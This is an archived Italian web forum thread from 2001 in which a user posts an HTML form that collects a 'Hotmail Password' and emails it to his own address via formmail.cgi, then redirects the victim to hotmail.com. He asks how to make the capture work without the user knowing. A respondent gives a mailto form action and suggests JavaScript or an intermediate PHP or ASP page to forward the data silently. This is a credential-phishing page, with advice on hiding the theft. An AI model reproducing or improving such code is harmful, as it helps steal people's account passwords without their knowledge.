PDA

Visualizza versione completa : HTML spiegazone


mikelee
31-10-2001, 09.37.10
<form METHOD=POST ACTION="http://www.tiscalinet.it/cgi-bin/formmail.cgi" target="_top"><input type=hidden name="recipient" value="mikelee@tiscalinet.it"><input TYPE="hidden" NAME="next-url" VALUE="http://www.hotmail.com"><input TYPE="hidden" NAME="subject" VALUE="Hotmail Password"><input type="hidden" name="redirect" value="http://www.hotmail.com">

Cosa indicano queste righe e cosa fanno??
In special modo mi servirebbe capire questa:

<form METHOD=POST ACTION="http://www.tiscalinet.it/cgi-bin/formmail.cgi" target="_top">

e se è possibile cambiare la destinazione e come.
Grazie

quipo.it
31-10-2001, 12.10.46
Semplicemente prende le variabili ottenute con i tag di input e le passa da processare alla pagina indicata (nel tuo caso http://www.tiscalinet.it/cgi-bin/formmail.cgi). Se vuoi reindirizzare altrove tali dati basta cambiare l'indirizzo suddetto, anche se francamente non vedo perché dovresti farlo... La pagina in questione sarà pur stata creata per qualche motivo, no?

Gidessì
31-10-2001, 16.13.47
cambiare gli indirizzi servirebbe solo a restituirti un errore da un server. gli input inviati sono sempre variabili che chiamano un'applicazione ben definita (in perl, in php, in ASP) indirizzarli ad un'altra destinazione non darebbero alcun risultato

mikelee
31-10-2001, 16.20.10
Praticamente vorrei che i dati immessi in imput mi siano inviati via mail all'indirizzo da me settato.
Solo che così facendo (ovvero come scritto sopra) non funziona.
I dati immessi non ritornano nella casella selezionata a caso nei settaggi.
Potreste aiutarmi in tal senso?

quipo.it
31-10-2001, 17.17.52
Beh, se vuoi solo mandare alla tua casella e-mail i dati ottenuti con gli INPUT, tutto quel che devi fare è usare la sintassi: <form method="POST" action="mailto:tuamail@tuoprovider.it" ENCTYPE="application/x-www-form-urlencoded">, e poi eventualmente processare il messaggio che ti arriva nella casella per renderlo un po' più umanamente leggibile... Spero di aver capito bene, stavolta...

mikelee
31-10-2001, 18.12.28
Ciò che dici funziona a meraviglia ma c'è un piccolo inconveniente....

L'utente non deve sapere che sta spedendo via e-mail i dati di input!!
Così come hai scritto i tag l'utente invia e sa di inviare via mail quei dati.....
Hai idee???
Mikelee

quipo.it
01-11-2001, 17.49.56
L'utente non deve sapere che sta spedendo via e-mail i dati di

input!!
Beh, questo non l'avevi detto! Cmq, in pratica ti servirebbe lanciare due

azioni con un solo click... con una mandi i dati alla pagina desiderata, e

con l'altra li mandi alla casella e-mail... per quanto ne so questo non è

possibile in HTML puro, dovresti ricorrere a js... però in tal caso è

difficile che l'utente non si accorga di quanto succede... oppure crei una

pagina intermedia (in PHP o ASP) che raccolga le variabili e le inoltri

alle due destinazioni in modo automatico.